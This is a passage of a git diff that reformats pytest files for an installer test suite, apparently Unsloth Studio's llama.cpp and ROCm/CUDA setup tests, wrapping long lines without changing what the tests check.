+                    f"Line {i} has hardcoded ggml-org clone URL: {line.strip()}"
+                )
 
 
 class TestSourcePatternsPs1:
@@ -418,7 +423,10 @@ class TestSourcePatternsPs1:
         assert '$DefaultLlamaPrForce = ""' in self.content
 
     def test_has_default_source(self):
-        assert '$DefaultLlamaSource = "https://github.com/ggml-org/llama.cpp"' in self.content
+        assert (
+            '$DefaultLlamaSource = "https://github.com/ggml-org/llama.cpp"'
+            in self.content
+        )
 
     def test_has_pr_force_env_read(self):
         assert "$env:UNSLOTH_LLAMA_PR_FORCE" in self.content
@@ -430,7 +438,10 @@ class TestSourcePatternsPs1:
     def test_release_repo_override_removed(self):
         # No env-based release-repo override; every host now routes to the fork
         # (the CPU-only ggml-org fallback was removed), mirroring setup.sh.
-        assert "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)" not in self.content
+        assert (
+            "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)"
+            not in self.content
+        )
         assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in self.content
         assert "$HelperReleaseRepo = if (" not in self.content
 
@@ -450,7 +461,9 @@ class TestSourcePatternsPs1:
 
     def test_clone_urls_parameterized_pr_path(self):
         """PR clone path uses $LlamaSource.git, not hardcoded URL."""
-        pr_idx = self.content.index("if ($LlamaPr) {\n", self.content.index("Cloning llama.cpp"))
+        pr_idx = self.content.index(
+            "if ($LlamaPr) {\n", self.content.index("Cloning llama.cpp")
+        )
         else_idx = self.content.index("} else {", pr_idx)
         pr_block = self.content[pr_idx:else_idx]
         assert '"$LlamaSource.git"' in pr_block
@@ -468,7 +481,9 @@ class TestSourcePatternsPs1:
         lines = self.content.splitlines()
         for i, line in enumerate(lines, 1):
             if "git clone" in line and "ggml-org/llama.cpp.git" in line:
-                pytest.fail(f"Line {i} has hardcoded ggml-org clone URL: {line.strip()}")
+                pytest.fail(
+                    f"Line {i} has hardcoded ggml-org clone URL: {line.strip()}"
+                )
 
 
 @requires_pwsh
diff --git a/tests/studio/install/test_macos_version_compat.py b/tests/studio/install/test_macos_version_compat.py
index c2b2dc9225..0c17c2864f 100644
--- a/tests/studio/install/test_macos_version_compat.py
+++ b/tests/studio/install/test_macos_version_compat.py
@@ -10,7 +10,9 @@ import pytest
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
-SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt_macos", MODULE_PATH)
+SPEC = importlib.util.spec_from_file_location(
+    "studio_install_llama_prebuilt_macos", MODULE_PATH
+)
 assert SPEC is not None and SPEC.loader is not None
 ILP = importlib.util.module_from_spec(SPEC)
 sys.modules[SPEC.name] = ILP
@@ -132,7 +134,10 @@ class TestMachoMinimumMacos:
             )
         )
         assert ILP.macho_minimum_macos(path, make_macos_host((14, 0))) == (14, 0)
-        assert ILP.macho_minimum_macos(path, make_macos_host((26, 0), arm64 = False)) == (26, 0)
+        assert ILP.macho_minimum_macos(path, make_macos_host((26, 0), arm64 = False)) == (
+            26,
+            0,
+        )
 
     def test_non_macho_returns_none(self, tmp_path):
         path = tmp_path / "script.sh"
@@ -175,17 +180,23 @@ class TestPreflightMacosInstalledBinaries:
     def test_rejects_too_new_dylib(self, tmp_path):
         install_dir, binaries = self._install_dir(tmp_path, (26, 0))
         with pytest.raises(PrebuiltFallback, match = "newer macOS"):
-            ILP.preflight_macos_installed_binaries(binaries, install_dir, make_macos_host((14, 0)))
+            ILP.preflight_macos_installed_binaries(
+                binaries, install_dir, make_macos_host((14, 0))
+            )
 
     def test_accepts_compatible_prebuilt(self, tmp_path):
         install_dir, binaries = self._install_dir(tmp_path, (14, 0))
         # Must not raise on a macOS 15 host.
-        ILP.preflight_macos_installed_binaries(binaries, install_dir, make_macos_host((15, 5)))
+        ILP.preflight_macos_installed_binaries(
+            binaries, install_dir, make_macos_host((15, 5))
+        )
 
     def test_skips_when_host_version_unknown(self, tmp_path):
         install_dir, binaries = self._install_dir(tmp_path, (26, 0))
         # Unknown host version -> defer to runtime validation, do not raise.
-        ILP.preflight_macos_installed_binaries(binaries, install_dir, make_macos_host(None))
+        ILP.preflight_macos_installed_binaries(
+            binaries, install_dir, make_macos_host(None)
+        )
 
     def test_noop_on_non_macos_host(self, tmp_path):
         install_dir, binaries = self._install_dir(tmp_path, (26, 0))
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index 0d2b092924..e4ed9745ce 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -13,7 +13,9 @@ import pytest
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
-SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt", MODULE_PATH)
+SPEC = importlib.util.spec_from_file_location(
+    "studio_install_llama_prebuilt", MODULE_PATH
+)
 assert SPEC is not None and SPEC.loader is not None
 MOD = importlib.util.module_from_spec(SPEC)
 sys.modules[SPEC.name] = MOD
@@ -94,7 +96,9 @@ class TestBinaryEnvCrossPlatform:
         env = binary_env(binary_path, install_dir, host)
         ld_dirs = env["LD_LIBRARY_PATH"].split(os.pathsep)
         assert str(bin_dir) in ld_dirs, f"build/bin not in LD_LIBRARY_PATH: {ld_dirs}"
-        assert str(install_dir) in ld_dirs, f"install_dir not in LD_LIBRARY_PATH: {ld_dirs}"
+        assert (
+            str(install_dir) in ld_dirs
+        ), f"install_dir not in LD_LIBRARY_PATH: {ld_dirs}"
 
     def test_linux_binary_parent_comes_before_install_dir(
         self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
@@ -113,7 +117,9 @@ class TestBinaryEnvCrossPlatform:
         ld_dirs = env["LD_LIBRARY_PATH"].split(os.pathsep)
         bin_idx = ld_dirs.index(str(bin_dir))
         install_idx = ld_dirs.index(str(install_dir))
-        assert bin_idx < install_idx, "binary_path.parent should come before install_dir"
+        assert (
+            bin_idx < install_idx
+        ), "binary_path.parent should come before install_dir"
 
     def test_linux_deduplicates_when_binary_parent_equals_install_dir(
         self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
@@ -172,13 +178,17 @@ class TestBinaryEnvCrossPlatform:
         binary_path.write_bytes(b"MZ")
 
         host = make_host(system = "Windows")
-        monkeypatch.setattr(MOD, "windows_runtime_dirs_for_runtime_line", lambda _rt: [])
+        monkeypatch.setattr(
+            MOD, "windows_runtime_dirs_for_runtime_line", lambda _rt: []
+        )
 
         env = binary_env(binary_path, install_dir, host)
         path_dirs = env["PATH"].split(os.pathsep)
         assert str(bin_dir) in path_dirs, f"build/bin/Release not in PATH: {path_dirs}"
 
-    def test_macos_sets_dyld_library_path(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch):
+    def test_macos_sets_dyld_library_path(
+        self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ):
         install_dir = tmp_path / "llama.cpp"
         install_dir.mkdir(parents = True)
         bin_dir = install_dir / "build" / "bin"
@@ -191,8 +201,12 @@ class TestBinaryEnvCrossPlatform:
 
         env = binary_env(binary_path, install_dir, host)
         dyld_parts = [p for p in env["DYLD_LIBRARY_PATH"].split(os.pathsep) if p]
-        assert str(bin_dir) in dyld_parts, f"build/bin not in DYLD_LIBRARY_PATH: {dyld_parts}"
-        assert str(install_dir) in dyld_parts, f"install_dir not in DYLD_LIBRARY_PATH: {dyld_parts}"
+        assert (
+            str(bin_dir) in dyld_parts
+        ), f"build/bin not in DYLD_LIBRARY_PATH: {dyld_parts}"
+        assert (
+            str(install_dir) in dyld_parts
+        ), f"install_dir not in DYLD_LIBRARY_PATH: {dyld_parts}"
         # build/bin must come before install_dir.
         assert dyld_parts.index(str(bin_dir)) < dyld_parts.index(str(install_dir))
 
@@ -320,7 +334,9 @@ class TestResolveRequestedLlamaTag:
 
 
 class TestFetchJsonRetries:
-    def test_fetch_json_retries_invalid_github_api_json(self, monkeypatch: pytest.MonkeyPatch):
+    def test_fetch_json_retries_invalid_github_api_json(
+        self, monkeypatch: pytest.MonkeyPatch
+    ):
         calls = {"count": 0}
 
         def fake_download_bytes(url, **kwargs):
@@ -645,7 +661,10 @@ class TestSourceCodePatterns:
         content = SETUP_SH.read_text()
         assert "--resolve-source-build" not in content
         assert "--resolve-install-tag" not in content
-        assert '--resolve-llama-tag latest --published-repo "ggml-org/llama.cpp"' in content
+        assert (
+            '--resolve-llama-tag latest --published-repo "ggml-org/llama.cpp"'
+            in content
+        )
         assert "--output-format json" in content
         assert "_RESOLVED_SOURCE_URL" in content
         assert "_RESOLVED_SOURCE_REF_KIND" in content
@@ -718,7 +737,9 @@ class TestSourceCodePatterns:
         assert "-allow-unsupported-compiler" in content
         # Via NVCC_PREPEND_FLAGS (covers the configure-time probe too), not CMAKE_ARGS.
         assert "export NVCC_PREPEND_FLAGS=" in content
-        cmake_args_lines = [line for line in content.splitlines() if "CMAKE_ARGS=" in line]
+        cmake_args_lines = [
+            line for line in content.splitlines() if "CMAKE_ARGS=" in line
+        ]
         assert all(
             "-allow-unsupported-compiler" not in line for line in cmake_args_lines
         ), "flag must stay out of CMAKE_ARGS (bash word-splitting safety)"
@@ -730,7 +751,9 @@ class TestSourceCodePatterns:
         assert "-allow-unsupported-compiler" in content
         # Via process env, not $CmakeArgs, so it reaches both the configure probe and `cmake --build`.
         assert "$env:NVCC_PREPEND_FLAGS" in content
-        cmake_args_lines = [line for line in content.splitlines() if "$CmakeArgs +=" in line]
+        cmake_args_lines = [
+            line for line in content.splitlines() if "$CmakeArgs +=" in line
+        ]
         assert all(
             "-allow-unsupported-compiler" not in line for line in cmake_args_lines
         ), "flag must not be pushed into the $CmakeArgs array"
@@ -748,10 +771,15 @@ class TestSourceCodePatterns:
 
     def test_macos_arm64_cpu_fallback_args_exclude_rpath(self):
         """CPU fallback args must NOT contain Metal-only RPATH flags at runtime."""
-        script = '_IS_MACOS_ARM64=true\nNVCC_PATH=""\nGPU_BACKEND=""\n' + _GPU_BACKEND_FRAGMENT
+        script = (
+            '_IS_MACOS_ARM64=true\nNVCC_PATH=""\nGPU_BACKEND=""\n'
+            + _GPU_BACKEND_FRAGMENT
+        )
         output = run_bash(script)
         fallback_line = next(
-            line for line in output.splitlines() if line.startswith("CPU_FALLBACK_CMAKE_ARGS=")
+            line
+            for line in output.splitlines()
+            if line.startswith("CPU_FALLBACK_CMAKE_ARGS=")
         )
         assert "-DGGML_METAL=OFF" in fallback_line
         assert (
@@ -772,7 +800,8 @@ class TestSourceCodePatterns:
         assert (
             "x86_64"
             not in content[
-                content.find("-DGGML_METAL=ON") - 200 : content.find("-DGGML_METAL=ON") + 200
+                content.find("-DGGML_METAL=ON") - 200 : content.find("-DGGML_METAL=ON")
+                + 200
             ]
         )
 
@@ -800,7 +829,9 @@ class TestSourceCodePatterns:
                 # Allowed elsewhere; fail only in the llama.cpp build section.
                 context = "\n".join(lines[max(0, i - 5) : i + 5])
                 if "LlamaCppDir" in context:
-                    pytest.fail(f"Found 'git pull' in llama.cpp build section at line {i+1}")
+                    pytest.fail(
+                        f"Found 'git pull' in llama.cpp build section at line {i+1}"
+                    )
 
     def test_setup_ps1_prebuilt_install_entrypoint(self):
         """PS1 prebuilt path uses the helper install entrypoint, not the old releases-latest flow."""
@@ -826,7 +857,8 @@ class TestSourceCodePatterns:
         assert "--resolve-source-build" not in content
         assert "--resolve-install-tag" not in content
         assert (
-            '"--resolve-llama-tag", "latest", "--published-repo", "ggml-org/llama.cpp"' in content
+            '"--resolve-llama-tag", "latest", "--published-repo", "ggml-org/llama.cpp"'
+            in content
         )
         assert '--output-format", "json"' in content
         assert "$ResolvedSourceUrl" in content
@@ -840,7 +872,10 @@ class TestSourceCodePatterns:
         block = content[max(0, install_idx - 800) : install_idx + 800]
         assert "$PSNativeCommandUseErrorActionPreference = $false" in block
         assert "$restoreNativeErrorPreference = $true" in block
-        assert "$PSNativeCommandUseErrorActionPreference = $previousNativeErrorPreference" in block
+        assert (
+            "$PSNativeCommandUseErrorActionPreference = $previousNativeErrorPreference"
+            in block
+        )
 
     def test_setup_ps1_helper_disables_error_action_abort(self):
         """Helper resolution should suppress terminating NativeCommandError on PS 5.1."""
@@ -861,7 +896,9 @@ class TestSourceCodePatterns:
         """The unconstrained nvcc fallback should not sort toolkit dirs lexicographically."""
         content = SETUP_PS1.read_text()
         assert "Sort-Object Name | Select-Object -Last 1" not in content
-        assert "Sort-Object { [version]($_.Name -replace '^v','') } -Descending" in content
+        assert (
+            "Sort-Object { [version]($_.Name -replace '^v','') } -Descending" in content
+        )
 
     def test_binary_env_linux_has_binary_parent(self):
         """The Linux branch of binary_env should include binary_path.parent."""
@@ -917,7 +954,10 @@ class TestMacOSMetalBuildLogic:
 
     def test_macos_arm64_cmake_args_contain_metal_flags(self):
         """macOS arm64 should enable Metal, not CUDA."""
-        script = '_IS_MACOS_ARM64=true\nNVCC_PATH=""\nGPU_BACKEND=""\n' + _GPU_BACKEND_FRAGMENT
+        script = (
+            '_IS_MACOS_ARM64=true\nNVCC_PATH=""\nGPU_BACKEND=""\n'
+            + _GPU_BACKEND_FRAGMENT
+        )
         output = run_bash(script)
         assert "-DGGML_METAL=ON" in output
         assert "-DGGML_CUDA=ON" not in output
@@ -925,7 +965,10 @@ class TestMacOSMetalBuildLogic:
 
     def test_intel_macos_no_metal_flags(self):
         """Intel macOS (not arm64) should not get Metal flags."""
-        script = '_IS_MACOS_ARM64=false\nNVCC_PATH=""\nGPU_BACKEND=""\n' + _GPU_BACKEND_FRAGMENT
+        script = (
+            '_IS_MACOS_ARM64=false\nNVCC_PATH=""\nGPU_BACKEND=""\n'
+            + _GPU_BACKEND_FRAGMENT
+        )
         output = run_bash(script)
         assert "-DGGML_METAL=ON" not in output
         assert "BUILD_DESC=building (CPU)" in output
@@ -1011,14 +1054,18 @@ class TestMacOSMetalBuildLogic:
         # First cmake call has Metal ON, second has Metal OFF.
         calls = calls_file.read_text().splitlines()
         assert len(calls) >= 2, f"Expected >= 2 cmake calls, got {len(calls)}"
-        assert "-DGGML_METAL=ON" in calls[0], f"First cmake call should have Metal ON: {calls[0]}"
+        assert (
+            "-DGGML_METAL=ON" in calls[0]
+        ), f"First cmake call should have Metal ON: {calls[0]}"
         assert (
             "-DGGML_METAL=OFF" in calls[1]
         ), f"Second cmake call should have Metal OFF: {calls[1]}"
         assert (
             "-DGGML_METAL=ON" not in calls[1]
         ), f"Second cmake call should NOT have Metal ON: {calls[1]}"
-        assert "@loader_path" not in calls[1], f"CPU fallback should not have RPATH: {calls[1]}"
+        assert (
+            "@loader_path" not in calls[1]
+        ), f"CPU fallback should not have RPATH: {calls[1]}"
         assert (
             "-DCMAKE_BUILD_WITH_INSTALL_RPATH=ON" not in calls[1]
         ), f"CPU fallback should not have RPATH build flag: {calls[1]}"
@@ -1123,7 +1170,9 @@ class TestMacOSMetalBuildLogic:
         assert "--build" in calls[1]
         assert "-DGGML_METAL=OFF" in calls[2]
         assert "-DGGML_METAL=ON" not in calls[2]
-        assert "@loader_path" not in calls[2], f"CPU fallback should not have RPATH: {calls[2]}"
+        assert (
+            "@loader_path" not in calls[2]
+        ), f"CPU fallback should not have RPATH: {calls[2]}"
         assert (
             "-DCMAKE_BUILD_WITH_INSTALL_RPATH=ON" not in calls[2]
         ), f"CPU fallback should not have RPATH build flag: {calls[2]}"
diff --git a/tests/studio/install/test_pr5940_followups.py b/tests/studio/install/test_pr5940_followups.py
index dd2a7ec487..ff9d925a43 100644
--- a/tests/studio/install/test_pr5940_followups.py
+++ b/tests/studio/install/test_pr5940_followups.py
@@ -65,8 +65,12 @@ def test_fetch_validation_model_prefers_huggingface_hub(tmp_path):
     model.write_bytes(b"GGUF-via-hf")
     fake_hf = MagicMock(return_value = str(model))
     with (
-        patch.object(prebuilt, "validated_validation_model_bytes", side_effect = lambda b: b),
-        patch.dict(sys.modules, {"huggingface_hub": MagicMock(hf_hub_download = fake_hf)}),
+        patch.object(
+            prebuilt, "validated_validation_model_bytes", side_effect = lambda b: b
+        ),
+        patch.dict(
+            sys.modules, {"huggingface_hub": MagicMock(hf_hub_download = fake_hf)}
+        ),
     ):
         assert prebuilt._fetch_validation_model_bytes() == b"GGUF-via-hf"
     assert fake_hf.called  # hf path was taken, urllib not needed
@@ -75,8 +79,12 @@ def test_fetch_validation_model_prefers_huggingface_hub(tmp_path):
 def test_fetch_validation_model_falls_back_to_urllib_on_hf_failure():
     fake_hf = MagicMock(side_effect = RuntimeError("hf unreachable"))
     with (
-        patch.object(prebuilt, "validated_validation_model_bytes", side_effect = lambda b: b),
-        patch.dict(sys.modules, {"huggingface_hub": MagicMock(hf_hub_download = fake_hf)}),
+        patch.object(
+            prebuilt, "validated_validation_model_bytes", side_effect = lambda b: b
+        ),
+        patch.dict(
+            sys.modules, {"huggingface_hub": MagicMock(hf_hub_download = fake_hf)}
+        ),
         patch.object(prebuilt, "download_bytes", return_value = b"GGUF-via-urllib") as dl,
     ):
         assert prebuilt._fetch_validation_model_bytes() == b"GGUF-via-urllib"
@@ -188,7 +196,9 @@ def test_install_sh_name_arch_agrees_with_ps_for_strix_and_non_amd():
         assert sh == expect, f"install.sh: {name!r} -> {sh!r}, expected {expect!r}"
         if expect is not None:  # cross-check bash agrees with the PowerShell table
             ps = next((a for p, a in ps_rows if re.search(p, name)), None)
-            assert sh == ps, f"install.sh/install.ps1 drift for {name!r}: {sh!r} vs {ps!r}"
+            assert (
+                sh == ps
+            ), f"install.sh/install.ps1 drift for {name!r}: {sh!r} vs {ps!r}"
 
 
 def test_setup_sh_name_arch_table_in_sync_with_install_sh():
@@ -266,7 +276,9 @@ def test_amd_smi_opt_in_forces_on_windows_no_sdk():
 
 def test_amd_smi_opt_out_overrides_hip_sdk():
     assert (
-        _amd_smi_allowed_under("Windows", hipinfo_present = True, env = {"UNSLOTH_ENABLE_AMD_SMI": "0"})
+        _amd_smi_allowed_under(
+            "Windows", hipinfo_present = True, env = {"UNSLOTH_ENABLE_AMD_SMI": "0"}
+        )
         is False
     )
 
@@ -395,7 +407,9 @@ def test_ps_installers_gate_amd_smi_on_windows():
     # Both PowerShell installers must gate amd-smi like _amd_smi_allowed().
     for ps in (_INSTALL_PS1, _SETUP_PS1):
         text = ps.read_text(encoding = "utf-8")
-        assert "UNSLOTH_ENABLE_AMD_SMI" in text, f"{ps.name} missing amd-smi opt-in gate"
+        assert (
+            "UNSLOTH_ENABLE_AMD_SMI" in text
+        ), f"{ps.name} missing amd-smi opt-in gate"
         assert "amdSmiAllowed" in text, f"{ps.name} missing amd-smi gate variable"
         # The HIP-SDK probe must exclude the venv-internal hipInfo.exe (mirrors
         # _path_inside_venv()), else amd-smi can still pop the DiskPart UAC.
@@ -427,7 +441,9 @@ def test_ps_installers_gate_amd_smi_on_windows():
         ), f"{ps.name} venv-internal check must seed the venv root from UNSLOTH_STUDIO_HOME"
 
 
-@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
+@pytest.mark.parametrize(
+    "ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"]
+)
 def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):
     # The probe seeds the venv root from a custom Unsloth home; a ~\studio form
     # must expand to USERPROFILE like the canonical resolver, else GetFullPath
@@ -459,7 +475,9 @@ def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):
 
 def _ps_floor_map(text, prefix):
     # {gfx -> spec} for entries like "gfx1151" = "torchvision>=0.26.0,<0.27.0".
-    return dict(re.findall(r'"(gfx[0-9a-z]+)"\s*=\s*"(' + re.escape(prefix) + r'[^"]*)"', text))
+    return dict(
+        re.findall(r'"(gfx[0-9a-z]+)"\s*=\s*"(' + re.escape(prefix) + r'[^"]*)"', text)
+    )
 
 
 def test_install_setup_ps_rocm_torch_floors_in_sync():
@@ -476,7 +494,10 @@ def test_install_setup_ps_rocm_torch_floors_in_sync():
             i_map == s_map
         ), f"{prefix!r} floor map drift:\ninstall.ps1={i_map}\nsetup.ps1={s_map}"
     # Strix Halo (the field case) must be pinned, not bare.
-    assert _ps_floor_map(it, "torchvision>=").get("gfx1151") == "torchvision>=0.26.0,<0.27.0"
+    assert (
+        _ps_floor_map(it, "torchvision>=").get("gfx1151")
+        == "torchvision>=0.26.0,<0.27.0"
+    )
     # The ROCm install must pass the pinned companion specs, not bare names.
     assert (
         "$torchSpec $visionSpec $audioSpec" in it
@@ -532,7 +553,9 @@ def test_install_python_stack_gates_every_amd_smi_spawn():
     # AND spawning a subprocess must gate it behind _amd_smi_allowed().
     import ast
 
-    src = (PACKAGE_ROOT / "studio" / "install_python_stack.py").read_text(encoding = "utf-8")
+    src = (PACKAGE_ROOT / "studio" / "install_python_stack.py").read_text(
+        encoding = "utf-8"
+    )
     tree = ast.parse(src)
 
     def _names_amd_smi_command(node):
@@ -556,7 +579,10 @@ def test_install_python_stack_gates_every_amd_smi_spawn():
         return False
 
     def _references_gate(node):
-        return any(isinstance(n, ast.Name) and n.id == "_amd_smi_allowed" for n in ast.walk(node))
+        return any(
+            isinstance(n, ast.Name) and n.id == "_amd_smi_allowed"
+            for n in ast.walk(node)
+        )
 
     offenders = [
         node.name
@@ -643,7 +669,9 @@ def test_path_inside_venv_returns_false_for_root_prefix():
         assert prebuilt._path_inside_venv(ext) is False
 
 
-@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
+@pytest.mark.parametrize(
+    "ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"]
+)
 def test_ps_venv_probe_skips_drive_root(ps):
     # A non-venv UNSLOTH_SETUP_PYTHON like C:\Python311\python.exe yields a bare
     # drive root (C:) as a venv root; without a guard it matches every path on that
@@ -655,13 +683,17 @@ def test_ps_venv_probe_skips_drive_root(ps):
     )
 
 
-@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
+@pytest.mark.parametrize(
+    "ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"]
+)
 def test_ps_env_fallback_iterates_all_hip_roots(ps):
     # The HIP_PATH/ROCM_PATH fallback must iterate every env root (incl. HIP_PATH_57)
     # and take the first non-venv hipinfo, so a venv-internal HIP_PATH can't mask a
     # real SDK in ROCM_PATH (single-root selection would bail on the venv copy).
     text = ps.read_text(encoding = "utf-8")
-    assert 'foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"))' in text, (
+    assert (
+        'foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"))' in text
+    ), (
         f"{ps.name} must iterate HIP_PATH/HIP_PATH_57/ROCM_PATH in the env fallback, "
         "not pick a single root"
     )
@@ -763,7 +795,8 @@ def test_uninstall_removes_managed_node_runtime():
     ), "uninstall.sh must remove the default-mode ~/.unsloth/node runtime"
     ps = (PACKAGE_ROOT / "scripts" / "uninstall.ps1").read_text(encoding = "utf-8")
     assert (
-        '$defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" }' in ps
+        '$defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" }'
+        in ps
     ), "uninstall.ps1 must resolve the default-mode ~/.unsloth\\node runtime dir"
     assert (
         "_RemovePath $defaultNode" in ps
@@ -831,11 +864,15 @@ def test_windows_rocm_repair_nonfatal_keeps_cpu_torch_on_index_failure(monkeypat
     monkeypatch.setattr(ps, "_has_usable_nvidia_gpu", lambda: False)
     monkeypatch.setattr(ps, "_detect_windows_gfx_arch", lambda: "gfx1151")
     monkeypatch.setattr(
-        ps, "_windows_rocm_index_url", lambda a: "https://repo.amd.com/rocm/whl/gfx1151/"
+        ps,
+        "_windows_rocm_index_url",
+        lambda a: "https://repo.amd.com/rocm/whl/gfx1151/",
     )
     # torch is not already a ROCm build -> the version probe prints nothing.
     monkeypatch.setattr(
-        ps.subprocess, "run", lambda *a, **k: subprocess.CompletedProcess(a, 0, b"", b"")
+        ps.subprocess,
+        "run",
+        lambda *a, **k: subprocess.CompletedProcess(a, 0, b"", b""),
     )
 
     def fake_try(label, *args, **kw):
@@ -844,7 +881,9 @@ def test_windows_rocm_repair_nonfatal_keeps_cpu_torch_on_index_failure(monkeypat
 
     monkeypatch.setattr(ps, "pip_install_try", fake_try)
     monkeypatch.setattr(
-        ps, "pip_install", lambda *a, **k: calls.__setitem__("fatal", calls["fatal"] + 1)
+        ps,
+        "pip_install",
+        lambda *a, **k: calls.__setitem__("fatal", calls["fatal"] + 1),
     )
     monkeypatch.setattr(
         ps,
@@ -861,7 +900,9 @@ def test_windows_rocm_repair_nonfatal_keeps_cpu_torch_on_index_failure(monkeypat
     assert "torch>=2.11.0,<2.12.0" in args, "torch must be pinned to the rocm7.2 floor"
     assert "torchvision>=0.26.0,<0.27.0" in args, "torchvision companion must be pinned"
     assert "torchaudio>=2.11.0,<2.12.0" in args, "torchaudio companion must be pinned"
-    assert calls["bnb"] == 0, "a failed ROCm torch install must not proceed to bitsandbytes"
+    assert (
+        calls["bnb"] == 0
+    ), "a failed ROCm torch install must not proceed to bitsandbytes"
 
 
 if __name__ == "__main__":
diff --git a/tests/studio/install/test_probe_timeouts.py b/tests/studio/install/test_probe_timeouts.py
index 0ff93c1b12..150f63bfb4 100644
--- a/tests/studio/install/test_probe_timeouts.py
+++ b/tests/studio/install/test_probe_timeouts.py
@@ -162,10 +162,14 @@ def test_has_usable_nvidia_gpu_returns_under_timeout():
         fake_dir.mkdir()
         fake_smi = fake_dir / "nvidia-smi"
         fake_smi.write_text("#!/bin/sh\nsleep 30\n")
-        fake_smi.chmod(fake_smi.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
+        fake_smi.chmod(
+            fake_smi.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH
+        )
 
         # PATH with the fake nvidia-smi first plus the real timeout/awk/ls it needs.
-        real_bins = {Path(shutil.which(c)).parent for c in ("timeout", "awk", "ls", "sh")}
+        real_bins = {
+            Path(shutil.which(c)).parent for c in ("timeout", "awk", "ls", "sh")
+        }
         path_env = os.pathsep.join([str(fake_dir)] + [str(p) for p in real_bins])
 
         # Force /proc fallback off so the result depends only on the probe (real NVIDIA host won't mask it).
diff --git a/tests/studio/install/test_rocm_rdna_routing.py b/tests/studio/install/test_rocm_rdna_routing.py
index b4aeafb7e4..6a7e3439c4 100644
--- a/tests/studio/install/test_rocm_rdna_routing.py
+++ b/tests/studio/install/test_rocm_rdna_routing.py
@@ -62,7 +62,9 @@ def routed():
     code = _CHILD.format(tests = str(_TESTS_DIR), arches = list(_ARCHES))
     proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True)
     line = next((l for l in proc.stdout.splitlines() if l.startswith("RESULT ")), None)
-    assert line, f"child produced no result.\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
+    assert (
+        line
+    ), f"child produced no result.\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
     return json.loads(line[len("RESULT ") :])
 
 
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index b94578369d..deb586b191 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -35,7 +35,9 @@ _normalize_forwarded_gfx = prebuilt_mod._normalize_forwarded_gfx
 
 # install_python_stack.py
 _STACK_PATH = PACKAGE_ROOT / "studio" / "install_python_stack.py"
-_STACK_SPEC = importlib.util.spec_from_file_location("studio_install_python_stack", _STACK_PATH)
+_STACK_SPEC = importlib.util.spec_from_file_location(
+    "studio_install_python_stack", _STACK_PATH
+)
 assert _STACK_SPEC is not None and _STACK_SPEC.loader is not None
 stack_mod = importlib.util.module_from_spec(_STACK_SPEC)
 sys.modules[_STACK_SPEC.name] = stack_mod
@@ -288,7 +290,9 @@ class TestResolveUpstreamAssetChoice:
     @patch.object(prebuilt_mod, "github_release_assets")
     def test_rocm_linux_no_prebuilt_falls_back(self, mock_assets):
         """AMD ROCm host should fall back to source build when no ROCm prebuilt exists."""
-        assets_without_rocm = {k: v for k, v in UPSTREAM_ASSETS.items() if "rocm" not in k}
+        assets_without_rocm = {
+            k: v for k, v in UPSTREAM_ASSETS.items() if "rocm" not in k
+        }
         mock_assets.return_value = assets_without_rocm
         host = rocm_host()
         with pytest.raises(PrebuiltFallback, match = "ROCm detected"):
@@ -595,7 +599,9 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
     @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 1))
-    def test_torch_already_has_hip_skips(self, mock_ver, mock_gpu, mock_nvidia, mock_pip):
+    def test_torch_already_has_hip_skips(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip
+    ):
         """If torch already has HIP, should skip ROCm reinstall."""
         mock_probe = MagicMock()
         mock_probe.returncode = 0
@@ -610,7 +616,9 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
     @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 1))
-    def test_cpu_torch_probe_line_not_read_as_hip(self, mock_ver, mock_gpu, mock_nvidia, mock_pip):
+    def test_cpu_torch_probe_line_not_read_as_hip(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip
+    ):
